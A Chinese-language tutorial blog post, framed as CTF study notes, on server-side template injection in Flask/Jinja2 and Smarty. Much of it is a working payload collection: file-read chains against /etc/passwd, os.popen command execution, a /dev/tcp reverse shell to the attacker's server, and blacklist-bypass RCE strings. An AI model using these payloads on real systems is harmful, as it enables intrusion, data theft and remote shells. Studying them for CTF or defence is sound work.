前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >一文了解SSTI和所有常见payload 以flask模板为例

一文了解SSTI和所有常见payload 以flask模板为例

作者头像
红客突击队
发布2022-09-30 14:19:24
2.4K0
发布2022-09-30 14:19:24
举报
文章被收录于专栏:kaydenkayden

一文了解SSTI和所有常见payload 以flask模板为例

前言

做的ctf题里有好几道跟SSTI有关 故对SSTI进行学习 在此做个小结与记录

主要是flask模板 后面遇到别的模板再陆续记录

1、什么是SSTI

SSTI,服务器端模板注入(Server-Side Template Injection)

  • 服务端接收攻击者的输入,将其作为Web应用模板内容的一部分
  • 在进行目标编译渲染的过程中,进行了语句的拼接,执行了所插入的恶意内容
  • 从而导致信息泄露、代码执行、GetShell等问题
  • 其影响范围主要取决于模版引擎的复杂性

注意:模板引擎 和 渲染函数 本身是没有漏洞的 , 该漏洞的产生原因在于程序员对代码的不严禁与不规范 , 导致了模板可控 , 从而引发代码注入

主要的框架

  • Python:jinja2、 mako、 tornado、 django
  • php:smarty、 twig
  • java:jade、 velocity

2、基础知识

模板引擎

模板引擎是以业务逻辑层和表现层分离为目的的,将规定格式的模板代码转换为业务数据的算法实现

也就是说,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

但是新的模板引擎往往会有一些安全问题 , 即使大部分模板引擎有提供沙箱隔离机制 , 但同样存在沙箱逃逸技术来绕过

页面渲染

页面渲染

  • 前端渲染( SPA , 单页面应用 ) 浏览器从服务器得到一些信息( 可能是 JSON 等各种数据交换格式所封装的数据包 , 也可能是合法的 HTML 字符串 ) 浏览器将这些信息排列组合成人类可读的 HTML 字符串 . 然后解析为最终的 HTML 页面呈现给用户 整个过程都是由客户端浏览器完成的 , 因此对服务器后端的压力较小 , 仅需要传输数据即可
  • 后端渲染( SSR , 服务器渲染 ) 浏览器会直接接收到经过服务器计算并排列组合后的 HTML 字符串 , 浏览器仅需要将字符串解析为呈现给用户的 HTML 页面就可以了 . 整个过程都是由服务器完成的 , 因此对客户端浏览器的压力较小 , 大部分任务都在服务器端完成了 , 浏览器仅需要解析并呈现 HTML 页面即可

参考后端渲染html、前端模板渲染html,jquery的html,各有什么区别?

3、flask模板

看得资料和做的题好多都是flask相关 所以下面的内容以 Flask 框架为例( Flask 使用 Jinja2 作为模板引擎)

环境搭建

Pycharm 内置的 Flask 框架

http://127.0.0.1:5000可见到欢迎界面

在 Run/Debug Configuration 中配置 DEBUG 模式

这样每次修改源文件后 , 仅需要保存并且刷新页面就可以看到内容更新了

注意:实际运行环境时是不可开启 DEBUG 模式的 , 非常危险

渲染方法

Flask 中的渲染方法有两种 : render_template()render_template_string()

  • render_template() 函数 渲染一个指定的文件 , 这个指定的文件其实就是模板
  • render_template_string() 函数 渲染一个字符串

注:SSTI与render_template_string()函数密不可分

4、SSTI原理

一个最简单的例子

代码语言:javascript
复制
@app.route('/test')
def test():
    html = '{{12*12}}'
    return flask.render_template_string(html)

发现{{ --- }}其中的语句被执行了

  • 这是因为在flask中,渲染引擎Jinja2会将{{ --- }}视为变量标识符,会将其包含的内容作为变量处理,从而包裹的语句被执行
  • 那么,在上一段代码中,如果我们传入的参数内容为{{ --- }}包裹的代码,这些代码就会被执行
沙箱逃逸

在上述例子中,虽然已经可以实现任意代码执行,但由于模板本身的沙盒安全机制,某些语句虽然可以执行,却不会执行成功

即使在服务器端将os包含进来,但是在渲染时仍然会出现这个错误,这就是因为沙盒机制严格地限制了程序的行为

沙箱逃逸的过程简单讲如下

借助的主要是各个类之间的继承关系 一些内建魔术方法如下

  • __class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
代码语言:javascript
复制
>>> ''.__class__
<type 'str'>
>>> ().__class__
<type 'tuple'>
>>> [].__class__
<type 'list'>
>>> {}.__class__
<type 'dict'>
  • __bases__:用来查看类的基类,也可是使用数组索引来查看特定位置的值
代码语言:javascript
复制
>>> ().__class__.__bases__
(<type 'object'>,)
>>> ''.__class__.__bases__
(<type 'basestring'>,)
>>> [].__class__.__bases__
(<type 'object'>,)
>>> {}.__class__.__bases__
(<type 'object'>,)
>>> [].__class__.__bases__[0]
<type 'object'>
  • __mro__:也可以获取基类
代码语言:javascript
复制
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
>>> [].__class__.__mro__
(<class 'list'>, <class 'object'>)
>>> {}.__class__.__mro__
(<class 'dict'>, <class 'object'>)
>>> ().__class__.__mro__
(<class 'tuple'>, <class 'object'>)
>>> ().__class__.__mro__[1]            # 使用索引就能获取基类了
<class 'object'>
代码语言:javascript
复制

SSTI主要就是活用各种魔术方法

5、引擎判断

服务端使用的各种引擎支持的语法是不同的 所以在找到SSTI注入点之后,首先应当判断模板所使用的渲染引擎

通常可以使用以下payload来简单测试:

绿色为执行成功,红色为执行失败 另:{{7*'7'}}在Twig中返回49,在Jinja2中返回77777777

6、SSTI利用

一些SSTI的利用方法

XSS

以 GET 方式从 URL 处获取 code 参数的值 , 然后将它输出到页面 .

这段代码非常容易看出来存在安全隐患 . 后端没有对用户输入的内容进行过滤 , 就直接将它输出到页面 输入端是完全可控的 . 这就产生了代码域与数据域的混淆

任意文件读写

这里就要用到上面所说的魔术方法了

仍然是上面这个源码

  • 获取字符串的类对象
代码语言:javascript
复制
>>> ''.__class__
<type 'str'>

  • 寻找基类
代码语言:javascript
复制
>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)

  • 寻找可用引用
代码语言:javascript
复制
>>> ''.__class__.__mro__[2].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
代码语言:javascript
复制

可以看到有一个<type 'file'>

  • 最终payload
代码语言:javascript
复制
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

也可以是

代码语言:javascript
复制
()..__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
object.__subclasses__()[40]('/etc/passwd').read()

写文件相仿

代码语言:javascript
复制
''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code')
().__class__.__bases__[0].__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code')
object.__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code')
任意代码执行

思路和任意文件读取非常类似 , 仅需要拿到 os 模块就可以了 可用payload如下

代码语言:javascript
复制
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()

# eval
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

#__import__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
反弹shell
代码语言:javascript
复制
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服务器地址/端口 0>&1').read()

这个 Payload 不能直接放在 URL 中执行 , 因为 & 的存在会导致 URL 解析出现错误 可以使用 BurpSuite 等工具构造数据包再发送

其他
  • request.environ 一个与服务器环境相关的对象字典 . 访问该字典可以拿到很多你期待的信息
  • config.items 一个类字典的对象 , 包含了所有应用程序的配置值 在大多数情况下 , 它包含了比如数据库链接字符串 , 连接到第三方的凭证 , SECRET_KEY等敏感值
  • 一个小脚本
代码语言:javascript
复制
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}         //poppen的参数就是要执行的命令
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

7、一些绕过

对一些过滤的绕过方法

过滤了小括号

用python的内置函数

  • get_flashed_messages()
  • url_for()

payload

代码语言:javascript
复制
{{url_for.__globals__}}
{{url_for.__globals__['current_app'].config['FLAG']}}

{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
过滤了 classsubclassesread等关键词

用request

  • GET: request.args
  • Cookies: request.cookies
  • Headers: request.headers
  • Environment: request.environ
  • Values: request.values

一些用法

  • request.__class__
  • request["__class__"]
  • request|attr("__class__")

payload

代码语言:javascript
复制
{{''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__
过滤了下划线_

payload

代码语言:javascript
复制
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_

其实现过程如下

代码语言:javascript
复制
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}
过滤了中括号[]

payload

代码语言:javascript
复制
{{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
{{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
过滤了|join

|format payload

代码语言:javascript
复制
{{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
无敌绕过的最终RCE

绕过[]检查,但不绕过__检查 使用该set函数来访问必需的object(i)pop()将检索file对象,然后使用我们的已知参数调用该对象 与初始RCE相似,这将创建一个python文件/tmp/foo.py并执行print 1337有效负载

代码语言:javascript
复制
{%set%20a,b,c,d,e,f,g,h,i%20=%20request.__class__.__mro__%}{{i.__subclasses__().pop(40)(request.args.file,request.args.write).write(request.args.payload)}}{{config.from_pyfile(request.args.file)}}&file=/tmp/foo.py&write=w&payload=print+1337

绕过所有黑名单检查的最终RCE (真牛逼)

代码语言:javascript
复制
{%set%20a,b,c,d,e,f,g,h,i%20=%20request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.mro,request.args.usc*2)|join)%}{{(i|attr((request.args.usc*2,request.args.subc,request.args.usc*2)|join)()).pop(40)(request.args.file,request.args.write).write(request.args.payload)}}{{config.from_pyfile(request.args.file)}}&class=class&mro=mro&subc=subclasses&usc=_&file=/tmp/foo.py&write=w&payload=print+1337

8、神器tplmap

github 需要环境:PyYaml

例子

代码语言:javascript
复制
root@kali:/mnt/hgfs/共享文件夹/tplmap-master# python tplmap.py -u "http://192.168.1.10:8000/?name=Sea"                             //判断是否是注入点
[+] Tplmap 0.5
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:

  GET parameter: name                //说明可以注入,同时给出了详细信息
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

   Shell command execution: ok           //检验出这些利用方法对于目标环境是否可用
   Bind and reverse shell: ok
   File write: ok
   File read: ok
   Code evaluation: ok, python code

[+] Rerun tplmap providing one of the following options:
                                                                  //可以利用下面这些参数进行进一步的操作
    --os-shell        Run shell on the target
    --os-cmd        Execute shell commands
    --bind-shell PORT      Connect to a shell bind to a target port
    --reverse-shell HOST PORT  Send a shell back to the attacker's port
    --upload LOCAL REMOTE  Upload files to the server
    --download REMOTE LOCAL  Download remote files

9、smarty SSTI

smarty是基于PHP开发的,官方文档 于Smarty的SSTI的利用手段与常见的flask的SSTI有很大区别

注入点:

  • XFF
  • Client IP

确认漏洞:

  • 输入{$smarty.version},返回smarty的版本号
{php}{/php}标签

Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令

代码语言:javascript
复制
{php}phpinfo();{/php}

但在Smarty3的官方手册里有以下描述:

  • Smarty已经废弃{php}标签,强烈建议不要使用
  • 在Smarty 3.1,{php}仅在SmartyBC中可用
{literal}标签

官方手册这样描述这个标签:

  • {literal}可以让一个模板区域的字符原样输出
  • 这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析

在php5的环境中可以使用

代码语言:javascript
复制
<script language="php">phpinfo();</script>

php7就不能用了

静态方法

通过self获取Smarty类再调用其静态方法实现文件读写

Smarty类的getStreamVariable方法的代码

代码语言:javascript
复制
public function getStreamVariable($variable)
{
        $_result = '';
        $fp = fopen($variable, 'r+');
        if ($fp) {
            while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
                $_result .= $current_line;
            }
            fclose($fp);
            return $_result;
        }
        $smarty = isset($this->smarty) ? $this->smarty : $this;
        if ($smarty->error_unassigned) {
            throw new SmartyException('Undefined stream variable "' . $variable . '"');
        } else {
            return null;
        }
    }

这个方法可以读取一个文件并返回其内容 所以我们可以用self来获取Smarty对象并调用这个方法 很多文章里给的payload都形如:

代码语言:javascript
复制
{self::getStreamVariable("file:///etc/passwd")}

但在3.1.30的Smarty版本中官方已经把该静态方法删除

{if}标签

官方文档中的描述:

  • Smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性
  • 每个{if}必须有一个配对的{/if},也可以使用{else}{elseif}
  • 全部的PHP条件表达式和函数都可以在if内使用,如||, or, &&, and, is_array(), 等等,如:{if is_array($array)}{/if}

payload

代码语言:javascript
复制
{if phpinfo()}{/if}

结语

对SSTI做了个总结归纳

参考

  • Server-Side Template Injection
  • Jinja2 template injection filter bypasses
  • SSTI完全学习
  • Flask/Jinja2 SSTI && Python 沙箱逃逸基础
  • 从零学习flask模板注入
  • Smarty SSTI
  • CTF SSTI(服务器模板注入)

红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-08-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 红客突击队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一文了解SSTI和所有常见payload 以flask模板为例
    • 1、什么是SSTI
      • 2、基础知识
        • 3、flask模板
          • 4、SSTI原理
            • 5、引擎判断
              • 6、SSTI利用
                • 7、一些绕过
                  • 8、神器tplmap
                    • 9、smarty SSTI
                    • 结语
                    领券
                    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档